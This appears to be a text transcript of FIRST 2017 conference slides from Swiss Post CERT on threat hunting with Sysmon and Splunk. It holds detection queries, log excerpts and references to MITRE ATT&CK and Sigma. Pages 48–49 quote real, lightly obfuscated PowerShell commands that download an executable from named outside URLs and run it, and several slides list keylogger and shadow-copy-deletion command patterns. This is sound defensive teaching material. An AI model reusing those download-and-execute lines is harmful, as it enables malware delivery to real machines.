Advanced Incident Detection and Threat Hunting using...

117
Advanced Incident Detection and Threat Hunting using Sysmon (and Splunk) Tom Ueltschi, Swiss Post CERT FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 1

Transcript of Advanced Incident Detection and Threat Hunting using...

Page 1: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Advanced Incident Detection and Threat Hunting using Sysmon

(and Splunk)

Tom Ueltschi, Swiss Post CERT

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 1

Page 2: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Tom Ueltschi

Swiss Post CERT / SOC / CSIRT, since 2007 (10 years!)

– Focus: Malware Analysis, Threat Intel, Threat Hunting, Red Teaming

Talks about «Ponmocup Hunter» (Botconf, DeepSec, SANS DFIR Summit)

BotConf 2016 talk with same title

Member of many trust groups / infosec communities

FIRST SIG member (Malware Analysis, Red Teaming)

Twitter: @c_APT_ure

Seite 2

C:\> whoami /all

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 3: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Introduction on Sysmon and public resources

Brief recap of BotConf talk with examples

Threat Hunting & Advanced Detection examples

– Malware Delivery

– Internal Recon

– Internal Peer-to-Peer C2 using Named Pipes

– Detecting Mimikatz (even file-less / in-memory)Seite 3

Outline

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

– Persistence Methods

– Lateral Movement

Page 4: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

It’s hard to come upwith totally new ideasand approaches

Know and use what’salready available out there

Share experienceswhat works and how

Seite 4

Standing on the Shoulders of Giants

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 5: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 5

Pyramid of Pain

I want to be ableto detect this!

Page 6: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 6

Sqrrl on Threat Hunting

Most examples are belong to here

Page 7: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 7

Sqrrl on Threat Hunting

Page 8: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 8

Sqrrl on Threat Hunting

Page 9: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 9

MITRE ATT&CK Matrix (Tactics)

Examples will cover Persistence (Registry, Filesystem)

Discovery / Lateral Movement / Execution (WMI)

Command and Control (Named Pipes)

Credential Access (Mimikatz)

Page 10: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 10

MITRE ATT&CK Matrix (Techniques)

Page 11: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 11

MITRE ATT&CK Matrix (Techniques)

Page 12: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 12

MITRE ATT&CK Matrix (DGA)

Page 13: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 13

MITRE ATT&CK Matrix (T&T)

Page 14: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 14

MITRE ATT&CK Matrix (ABDC)

Page 15: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 15

MITRE ATT&CK Matrix

Contributions are welcome

Page 16: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 16

MITRE Cyber Analytics Repository

Page 17: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 17

MITRE Cyber Analytics Repository

Page 18: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 18

MITRE CARET (Analytics T&T Matrix)

Map Analyticsto T&T Matrix

Page 19: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 19

MITRE CARET (Analytics T&T Matrix)

CAR: Exec of susp cmdsT&T: Discovery / many

Page 20: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 20

MITRE CARET (Analytics T&T Matrix)

CAR: Remote exec via WMIT&T: Execution / WMI

Page 21: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 21

Threat Hunting Project

Page 22: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 22

Threat Hunting Project

Page 23: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 23

ThreatHunter Playbook

Page 24: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 24

Florian Roth’s Sigma Project

Page 25: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 25

Florian Roth’s Sigma Project

Page 26: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 26

Florian Roth’s Sigma Project

Page 27: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 27

Florian Roth’s Sigma Project

Page 28: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 28

Florian Roth’s Sigma Project

Page 29: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 29

Florian Roth’s Sigma Project

Page 30: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 30

Florian Roth’s Sigma Project

Way to go, Neo!

Page 31: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 31

Thomas Patzke’s EQUEL Project

Page 32: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 32

Mike Haag’s Sysmon DFIR Github

Page 33: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 33

Why Sysmon? RSA Con Talk M.R.

Page 34: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 34

Why Sysmon? RSA Con Talk M.R.

DLL / ProcInjection

Time stomping

Page 35: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 35

Why Sysmon? RSA Con Talk M.R.

Page 36: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 36

Why Sysmon? RSA Con Talk M.R.

New event types v5 & v6Not covered in prev talk

Page 37: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 37

Why Sysmon? RSA Con Talk M.R.

Page 38: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 38

Why Sysmon? RSA Con Talk M.R.

Page 39: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 39

Why Sysmon? RSA Con Talk M.R.

Page 40: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 40

SwiftOnSecurity’s Sysmon configs

Page 41: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Seite 41

Brief Recap of BotConf 2016 Talk

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 42: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 42

Recap BotConf Talk (1/2)

Using the free Sysmon tool you can search / alert forknown malicious process behaviors

Image names / paths (wrong paths)

svchost.exe, %APPDATA%\Oracle\bin\javaw.exe

CommandLine parameters

/stext, vssadmin delete shadows, rundll32 qwerty

Parent- / Child-Process relationships

winword.exe explorer.exe, wscript.exe rundll32.exe

Process injection

# winlogon.exe

Page 43: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 43

Recap BotConf Talk (2/2)

Using the free Sysmon tool you can hunt forsuspicious process behaviors

Lateral movement using admin shares

ADMIN$, C$, IPC$ (\\127.0.0.1\...)

Internal C&C P2P comms over named pipes / SMB

processes using port 445 between workstations

Rarest processes connecting thru proxy (or directly to Internet)

count by hashes, IMPHASHes, clients, image names

Suspicious Powershell activity

Powershell -EncodedCommand | -enc …

Page 44: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 44

Advanced Detection (Adwind RAT)alert_sysmon_java-malware-infection

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"

(Users AppData Roaming (javaw.exe OR xcopy.exe)) OR (cmd cscript vbs)

| search Image="*\\AppData\\Roaming\\Oracle\\bin\\java*.exe*"

OR (Image="*\\xcopy.exe*" CommandLine="*\\AppData\\Roaming\\Oracle\\*")

OR CommandLine="*cscript*Retrive*.vbs*"

JBifrost RAT

Page 45: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 45

Detecting Keyloggers

Keyloggers and Password-Stealers abusing NirSoft tools

Limitless Logger

Predator Pain

HawkEye Keylogger

iSpy Keylogger

KeyBase Keylogger

CommandLine: <PATH-TO-EXE>\*.exe /stext <PATH-TO-TXT>\*.txt

CommandLine: <PATH-TO-EXE>\*.exe /scomma ...

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"

( stext OR scomma )

| search CommandLine="* /stext *" OR CommandLine="* /scomma *"

Page 46: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 46

Detecting Keyloggers

BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

Link in email to download JS from web server (DHL__Report__*.js)

Executing JS downloads EXE from web server

EXE uses «/scomma» parameter (YARA: NirSoft strings in memory)

Page 47: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 47

Detecting Keyloggers

BONUS: detecting new Banking Trojan variant (Heodo/Emotet)

Page 48: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Remove all obfuscation chars

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 48

Malicious PowerShell

index=sysmon SourceName="Microsoft-Windows-Sysmon" EventCode="1"

(powershell.exe OR cmd.exe)

| eval CommandLine2=replace(CommandLine,"[ '+\"\^]","")

| search (Image="*\\powershell.exe" OR Image="*\\cmd.exe")

CommandLine2="*WebClient*" CommandLine2="*DownloadFile*"

"C:\Windows\System32\cmd.exe" /c powershell -command (("New-Object

Net.WebClient")).("'Do' + 'wnloadfile'").invoke(

'http://unofficialhr.top/tv/homecooking/tenderloin.php',

'C:\Users\***\AppData\Local\Temp\spasite.exe'); &

"C:\Users\***\AppData\Local\Temp\spasite.exe"

CommandLine2:

C:\Windows\System32\cmd.exe/cpowershell-command((New-ObjectNet.WebClient)).

(Downloadfile).invoke(http://unofficialhr.top/tv/homecooking/tenderloin.php,

C:\Users\purpural\AppData\Local\Temp\spasite.exe);&

C:\Users\purpural\AppData\Local\Temp\spasite.exe

De-obfuscate simple obfuscation techniques

Are all (obfuscation) problems solved?

Page 49: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Query doesn’t match«DownloadFile»

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 49

Malicious PowerShell

cmd.exe /c powershell -c $eba = ('exe'); $sad = ('wnloa'); (( New-Object

Net.WebClient )).( 'Do' + $sad + 'dfile' ).invoke(

'http://golub.histosol.ch/bluewin/mail/inbox.php'

'C:\Users\*****\AppData\Local\Temp\doc.' + $eba);

start('C:\Users\*****\AppData\Local\Temp\doc.' + $eba)

«De-obfuscated»:

powershell-c$eba=(exe);$sad=(wnloa);((New-ObjectNet.WebClient)).(Do$saddfile)

.invoke(http://golub.histosol.ch/bluewin/mail/inbox.phpC:\Users\*****\AppData

\Local\Temp\doc.$eba); start(C:\Users\*****\AppData\Local\Temp\doc.$eba)

LNK with Powershell command

- embedded in DOCX file (oleObject.bin)

Sample from 2016-11-18

d8af6037842458f7789aa6b30d6daefb Abrechnung # 5616147.docx

2b9c71fe5f121ea8234aca801c3bb0d9 Beleg Nr. 892234-32.lnk

Strings from oleObject.bin:

E:\TEMP\G\18.11.16\ch1\golub\Beleg Nr. 892234-32.lnk

C:\Users\azaz\AppData\Local\Temp\Beleg Nr. 892234-32.lnk

Page 50: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 50

SMB traffic between WS

index=sysmon SourceName="Microsoft-Windows-Sysmon"

EventCode=3 Initiated=true SourceIp!=DestinationIp

DestinationPort=445 Image!=System

(SourceHostname="WS*" DestinationHostname="WS*") OR

(SourceIp="10.10.*.*" DestinationIp="10.10.*.*")

| stats by ComputerName ProcessGuid

| fields ComputerName ProcessGuid

Search for network connections

SMB protocol (dst port 445)

Source and destination are workstations (hostname or IP)

Use «ProcessGuid» to correlate with other event types (proc’s)

Search for legitimate SMB servers (filers, NAS)

Create «whitelist» to exclude as legit dest

Page 51: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 51

Lateral Movement (admin shares)CS_Lateral_Movement_psexec

10/18/2016 11:17:12 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=1

EventType=4

Type=Information

...

Message=Process Create:

Image: \\127.0.0.1\ADMIN$\8c0cb58.exe

CommandLine: \\127.0.0.1\ADMIN$\8c0cb58.exe

CurrentDirectory: C:\Windows\system32\

User: NT AUTHORITY\SYSTEM

IntegrityLevel: System

ParentImage: C:\Windows\system32\services.exe

ParentCommandLine: C:\Windows\System32\services.exe

Search for admin share names in image paths

C:\Windows\system32\services.exe

\\127.0.0.1\ADMIN$\8c0cb58.exe

Page 52: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 52

Lateral Movement (proc injection)CS_Lateral_Movement_psexec

10/18/2016 11:17:13 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=8

EventType=4

Type=Information

...

Message=CreateRemoteThread detected:

SourceProcessId: 29340

SourceImage: \\127.0.0.1\ADMIN$\8c0cb58.exe

TargetProcessId: 18476

TargetImage: C:\Windows\SysWOW64\rundll32.exe

NewThreadId: 20060

StartAddress: 0x0000000000110000

StartFunction:

Search for rarest source or target images from proc injection

\\127.0.0.1\ADMIN$\8c0cb58.exe

# C:\Windows\system32\rundll32.exe

Page 53: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 53

Keylogger (proc injection)CS_Keylogger_injection

10/26/2016 11:56:32 PM

LogName=Microsoft-Windows-Sysmon/Operational

SourceName=Microsoft-Windows-Sysmon

EventCode=8

EventType=4

Type=Information

...

Message=CreateRemoteThread detected:

SourceProcessId: 17728

SourceImage: C:\Windows\SysWOW64\rundll32.exe

TargetProcessId: 836

TargetImage: C:\Windows\System32\winlogon.exe

NewThreadId: 14236

StartAddress: 0x0000000000C20000

StartFunction:

Suspicious proc injection into «winlogon.exe» Steal user’s password while logging on or unlocking screensaver

C:\Windows\SysWOW64\rundll32.exe

# C:\Windows\system32\winlogon.exe

Page 54: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Seite 54FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 55: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Malicious files downloaded via Browser

Sysmon «FileCreateStreamHash» events generated

Remember the malicious JS files from email links? (Heodo/Emotet)

Seite 55

Hunting for Delivery of Malware

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 56: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 56

Hunting for Delivery of Malware

Remember that JS Filename from before?

Let’s hunt for that… (DHL__Report__*.js)

Page 57: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 57

Hunting for Delivery of Malware

Page 58: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 58

Hunting for Delivery of Malware

Page 59: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 59

Hunting for Delivery of Malware

Page 60: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 60

Hunting for Delivery of Malware

Page 61: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 61

Hunting for Delivery of Malware

Page 62: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

Hunting for Persistence Methods

– Registry Keys

– Filesystem (e.g. Startup folders)

Seite 62

Detecting Persistence Methods

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE

Page 63: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 63

Detecting Persistence (Registry)

Searching for «Run» or «RunOnce» keys

Page 64: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 64

Detecting Persistence (Registry)

Page 65: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 65

Detecting Persistence (Registry)

Page 66: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 66

Detecting Persistence (Filesystem)

Example for «ProcessCreate», not «FileCreate»

Page 67: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

FIRST 2017 | Advanced Incident Detection and Threat Hunting using Sysmon and Splunk | Tom Ueltschi | TLP-WHITE Seite 67

Detecting Persistence (Filesystem)

This should makeyou go «Hmmm??»

Page 68: Advanced Incident Detection and Threat Hunting using ...security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom... · Advanced Incident Detection and Threat Hunting using

